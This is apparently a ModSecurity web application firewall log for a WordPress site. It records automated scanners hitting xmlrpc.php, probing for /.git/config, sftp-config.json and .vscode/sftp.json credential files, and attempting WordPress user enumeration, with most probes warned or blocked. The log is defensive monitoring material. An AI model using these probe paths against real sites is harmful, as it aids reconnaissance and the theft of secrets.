[Thu Feb 12 13:00:22.528710 2026] [:error] [pid 3188:tid 3200] [client 211.169.178.4:61268] [client 211.169.178.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.169.178.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1eZsYMNJKHx_XKcXwDnAAAAIo"]
[Thu Feb 12 14:00:51.870517 2026] [:error] [pid 3188:tid 3193] [client 84.247.191.234:48698] [client 84.247.191.234] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 84.247.191.234, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1sk8YMNJKHx_XKcXwTxwAAAIM"]
[Thu Feb 12 14:33:45.007298 2026] [:error] [pid 8824:tid 8847] [client 193.254.188.223:41098] [client 193.254.188.223] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.254.188.223, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY10SfGtP-XDMTktFc1f3wAAAQs"]
[Thu Feb 12 15:07:10.658069 2026] [:error] [pid 21527:tid 21544] [client 167.71.87.39:48706] [client 167.71.87.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aY18Hiaer9JPUXlMLuFlIwAAAA8"]
[Thu Feb 12 15:07:13.754748 2026] [:error] [pid 21527:tid 21532] [client 167.71.87.39:33654] [client 167.71.87.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aY18ISaer9JPUXlMLuFlMwAAAAM"]
[Thu Feb 12 15:21:45.878609 2026] [:error] [pid 21434:tid 21502] [client 194.164.162.69:53000] [client 194.164.162.69] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.164.162.69, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY1_iQbL1v6OC5G-tE9jFgAAAcU"]
[Thu Feb 12 16:14:23.188612 2026] [:error] [pid 39777:tid 39791] [client 20.163.27.0:38110] [client 20.163.27.0] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.163.27.0, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2L31zexR6hGUkt5pO6AAAAAEw"]
[Thu Feb 12 17:02:08.750076 2026] [:error] [pid 21431:tid 21457] [client 180.181.244.244:44406] [client 180.181.244.244] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.181.244.244, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2XEJgxKQsNF5X8gtSBmgAAANU"]
[Thu Feb 12 17:49:45.643354 2026] [:error] [pid 65064:tid 65076] [client 159.223.103.141:34082] [client 159.223.103.141] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 159.223.103.141, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2iOROvRgscTcqsMBmEIQAAAMk"]
[Thu Feb 12 18:37:35.124836 2026] [:error] [pid 65064:tid 65070] [client 165.22.223.230:41934] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2tbxOvRgscTcqsMBmnqQAAAMM"]
[Thu Feb 12 18:37:50.026054 2026] [:error] [pid 63416:tid 63424] [client 47.106.140.4:50722] [client 47.106.140.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.106.140.4, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2tfr2wmecPaCHcM2-WhgAAAYM"]
[Thu Feb 12 18:37:51.595926 2026] [:error] [pid 63418:tid 63485] [client 47.86.33.61:38418] [client 47.86.33.61] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.86.33.61, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2tf9zjh-bbJnStPZKvrAAAAIk"]
[Thu Feb 12 18:38:05.621754 2026] [:error] [pid 63416:tid 63429] [client 36.129.24.60:37120] [client 36.129.24.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.129.24.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2tjb2wmecPaCHcM2-WmQAAAYg"]
[Thu Feb 12 18:42:51.129040 2026] [:error] [pid 63418:tid 63499] [client 196.27.114.137:43940] [client 196.27.114.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.27.114.137, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY2uq9zjh-bbJnStPZKxWQAAAJc"]
[Thu Feb 12 19:31:08.310250 2026] [:error] [pid 63511:tid 63529] [client 129.159.107.159:50870] [client 129.159.107.159] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.159.107.159, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY25_KQCQbD5BgeyIk35kAAAABA"]
[Thu Feb 12 20:20:04.688681 2026] [:error] [pid 63511:tid 63527] [client 123.187.240.242:39752] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aY3FdKQCQbD5BgeyIk0UhAAAAA4"]
[Thu Feb 12 20:22:54.126127 2026] [:error] [pid 63417:tid 63462] [client 178.62.28.91:46896] [client 178.62.28.91] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.62.28.91, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3GHv8gSb97qRMtXCLi9AAAAE0"]
[Thu Feb 12 21:13:46.293103 2026] [:error] [pid 63418:tid 63499] [client 129.232.138.142:47576] [client 129.232.138.142] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 129.232.138.142, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3SCtzjh-bbJnStPZLu0gAAAJc"]
[Thu Feb 12 21:29:49.723166 2026] [:error] [pid 46675:tid 46702] [client 205.172.3.73:52524] [client 205.172.3.73] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 205.172.3.73, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3VzTuaQILPonWFiQlxuQAAAVg"]
[Thu Feb 12 22:02:58.454435 2026] [:error] [pid 46675:tid 46678] [client 68.178.164.217:38146] [client 68.178.164.217] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 68.178.164.217, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3dkjuaQILPonWFiQl70AAAAUA"]
[Thu Feb 12 22:08:00.725727 2026] [:error] [pid 63418:tid 63481] [client 36.129.24.60:33204] [client 36.129.24.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 36.129.24.60, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3ewNzjh-bbJnStPZL7TgAAAIU"]
[Thu Feb 12 22:08:08.441867 2026] [:error] [pid 63418:tid 63490] [client 165.22.223.230:42800] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3eyNzjh-bbJnStPZL7WwAAAI4"]
[Thu Feb 12 22:08:22.599984 2026] [:error] [pid 63511:tid 63527] [client 212.154.75.77:54885] [client 212.154.75.77] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.154.75.77, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3e1qQCQbD5BgeyIk00VQAAAA4"]
[Thu Feb 12 22:08:52.242566 2026] [:error] [pid 46718:tid 46736] [client 165.22.223.230:59642] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3e9EdfX45LelQwruQzCwAAAc8"]
[Thu Feb 12 22:08:56.394874 2026] [:error] [pid 63417:tid 63454] [client 165.22.223.230:59652] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3e-P8gSb97qRMtXCIA0gAAAEU"]
[Thu Feb 12 22:30:54.935495 2026] [:error] [pid 46675:tid 46683] [client 103.226.25.6:29614] [client 103.226.25.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.226.25.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3kHjuaQILPonWFiQmFDwAAAUU"]
[Thu Feb 12 22:45:22.313450 2026] [:error] [pid 63417:tid 63466] [client 44.220.80.169:43254] [client 44.220.80.169] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 44.220.80.169, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY3ngv8gSb97qRMtXCIJogAAAFE"]
[Thu Feb 12 22:47:16.306892 2026] [:error] [pid 63418:tid 63496] [client 103.77.107.222:57807] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/sftp-config.json"] [unique_id "aY3n9Nzjh-bbJnStPZIFuAAAAJQ"]
[Thu Feb 12 22:47:16.523729 2026] [:error] [pid 65064:tid 65084] [client 103.77.107.222:57831] [client 103.77.107.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.vscode/sftp.json"] [unique_id "aY3n9BOvRgscTcqsMBkb_QAAANE"]
[Thu Feb 12 23:40:33.440137 2026] [:error] [pid 63416:tid 63436] [client 89.238.73.102:55300] [client 89.238.73.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.238.73.102, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY30cb2wmecPaCHcM2_vlwAAAY8"]
[Thu Feb 12 23:44:15.891787 2026] [:error] [pid 46675:tid 46688] [client 158.158.107.147:17670] [client 158.158.107.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aY31TzuaQILPonWFiQmclQAAAUo"]
[Thu Feb 12 23:44:16.872779 2026] [:error] [pid 46718:tid 46737] [client 158.158.107.147:24341] [client 158.158.107.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aY31UEdfX45LelQwruRZygAAAdA"]
[Thu Feb 12 23:44:17.852413 2026] [:error] [pid 63416:tid 63424] [client 158.158.107.147:32360] [client 158.158.107.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aY31Ub2wmecPaCHcM2_w0gAAAYM"]
[Thu Feb 12 23:44:18.839837 2026] [:error] [pid 46603:tid 46605] [client 158.158.107.147:42751] [client 158.158.107.147] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/item.php"] [unique_id "aY31UvEi6O39v05JNJepGgAAAQA"]
[Fri Feb 13 00:33:42.751904 2026] [:error] [pid 37512:tid 37612] [client 217.154.56.229:41786] [client 217.154.56.229] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.154.56.229, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4A5tDe69znS-f6vSY1DAAAAAQ"]
[Fri Feb 13 00:34:01.201858 2026] [:error] [pid 37510:tid 37522] [client 64.89.163.24:58057] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY4A-cUrqDPNSf1wYBWB9QAAAYY"]
[Fri Feb 13 00:34:03.880076 2026] [:error] [pid 37512:tid 37623] [client 64.89.163.24:61336] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY4A-9De69znS-f6vSY1uAAAAA0"]
[Fri Feb 13 00:34:06.481326 2026] [:error] [pid 37510:tid 37530] [client 64.89.163.24:61406] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY4A_sUrqDPNSf1wYBWCTAAAAY4"]
[Fri Feb 13 00:34:08.577214 2026] [:error] [pid 37511:tid 37599] [client 64.89.163.24:63691] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY4BAO8EBJ86uZdxpA1qAAAAAFI"]
[Fri Feb 13 00:34:11.164204 2026] [:error] [pid 37511:tid 37586] [client 64.89.163.24:65450] [client 64.89.163.24] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aY4BA-8EBJ86uZdxpA1qCQAAAEU"]
[Fri Feb 13 00:50:36.430955 2026] [:error] [pid 37511:tid 37585] [client 167.71.87.39:33982] [client 167.71.87.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aY4E3O8EBJ86uZdxpA1vegAAAEQ"]
[Fri Feb 13 00:50:40.330448 2026] [:error] [pid 37510:tid 37519] [client 167.71.87.39:52630] [client 167.71.87.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aY4E4MUrqDPNSf1wYBWIPAAAAYM"]
[Fri Feb 13 01:24:39.577149 2026] [:error] [pid 37856:tid 37877] [client 185.95.164.47:45310] [client 185.95.164.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.95.164.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4M15UcWP4qWM7hWskF2gAAANI"]
[Fri Feb 13 01:27:45.834700 2026] [:error] [pid 37512:tid 37608] [client 167.71.87.39:52406] [client 167.71.87.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aY4NkdDe69znS-f6vSZJkQAAAAA"]
[Fri Feb 13 01:27:49.831343 2026] [:error] [pid 37856:tid 37868] [client 167.71.87.39:57382] [client 167.71.87.39] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aY4NlZUcWP4qWM7hWskHEgAAAMk"]
[Fri Feb 13 02:16:15.199013 2026] [:error] [pid 23410:tid 23420] [client 51.38.227.70:59402] [client 51.38.227.70] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.38.227.70, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4Y7xXZP6NFBacuW_08-QAAAIg"]
[Fri Feb 13 02:17:51.137525 2026] [:error] [pid 37510:tid 37537] [client 47.79.22.6:34578] [client 47.79.22.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.79.22.6, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4ZT8UrqDPNSf1wYBWn_gAAAZU"]
[Fri Feb 13 02:17:53.196158 2026] [:error] [pid 37856:tid 37868] [client 165.22.223.230:57990] [client 165.22.223.230] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 165.22.223.230, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4ZUZUcWP4qWM7hWskdYwAAAMk"]
[Fri Feb 13 02:18:04.478673 2026] [:error] [pid 37856:tid 37878] [client 121.40.46.168:41048] [client 121.40.46.168] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.40.46.168, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4ZXJUcWP4qWM7hWskddwAAANM"]
[Fri Feb 13 02:18:11.636536 2026] [:error] [pid 37510:tid 37526] [client 104.28.222.47:48264] [client 104.28.222.47] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.28.222.47, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4ZY8UrqDPNSf1wYBWoFwAAAYo"]
[Fri Feb 13 03:05:18.040261 2026] [:error] [pid 37510:tid 37529] [client 152.53.241.40:51414] [client 152.53.241.40] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.53.241.40, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4kbsUrqDPNSf1wYBW7UAAAAY0"]
[Fri Feb 13 03:30:54.885820 2026] [:error] [pid 18041:tid 18055] [client 34.173.125.207:58097] [client 34.173.125.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.125.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qbiyER0sI-4lcaJJ36wAAAMw"]
[Fri Feb 13 03:30:58.725334 2026] [:error] [pid 18041:tid 18056] [client 34.173.125.207:58097] [client 34.173.125.207] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aY4qciyER0sI-4lcaJJ3_wAAAM0"]
[Fri Feb 13 03:31:00.817329 2026] [:error] [pid 18041:tid 18066] [client 34.173.125.207:58097] [client 34.173.125.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.125.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qdCyER0sI-4lcaJJ4CQAAANc"]
[Fri Feb 13 03:31:03.082369 2026] [:error] [pid 17942:tid 17966] [client 34.173.125.207:64816] [client 34.173.125.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.125.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qd71YyF67_WQrcB7SyQAAAA0"]
[Fri Feb 13 03:31:05.223923 2026] [:error] [pid 18041:tid 18045] [client 34.173.125.207:51373] [client 34.173.125.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.125.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qeSyER0sI-4lcaJJ4FAAAAMI"]
[Fri Feb 13 03:31:07.277308 2026] [:error] [pid 18041:tid 18047] [client 34.173.125.207:63498] [client 34.173.125.207] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.173.125.207, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aY4qeyyER0sI-4lcaJJ4GQAAAMQ"]
